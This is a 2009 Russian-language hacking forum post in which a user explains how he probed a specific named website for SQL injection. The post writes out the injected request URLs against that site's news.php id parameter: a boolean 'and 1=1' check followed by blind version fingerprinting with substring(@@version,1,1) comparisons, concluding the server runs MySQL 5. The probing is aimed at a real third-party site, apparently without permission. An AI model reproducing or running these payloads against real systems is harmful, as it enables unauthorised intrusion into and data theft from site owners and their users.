11.01.2009, 15:54
|
|
Постоянный
Регистрация: 20.11.2008
Сообщений: 406
С нами:
9196401
Репутация:
930
|
|
Сообщение от wildshaman
Гм, интеренсо...
А продробней не расскажешь, как определял - какие промежуточные действия были до hand+substring(@@version,1,1)=5
вот имеется наш урл:
Код:
http://www.check6gaming.com/news.php?id=67
для теста на inj проверяем
Код:
http://www.check6gaming.com/news.php?id=67+and+1=1
выводится тот же запрос,что и при id=67
определяем версию:
substring(@@version,1,1)=4
первый символ сравниваем с 4, если 4 версия то отобразиться такая же странцица как и при id=67
наконец запрос
Код:
http://www.check6gaming.com/news.php?id=67+and+substring(@@version,1,1)=5
не выдает ошибки, соответственно версия мускула = 5
Последний раз редактировалось z00MAN; 11.01.2009 в 15:56..
|
|
|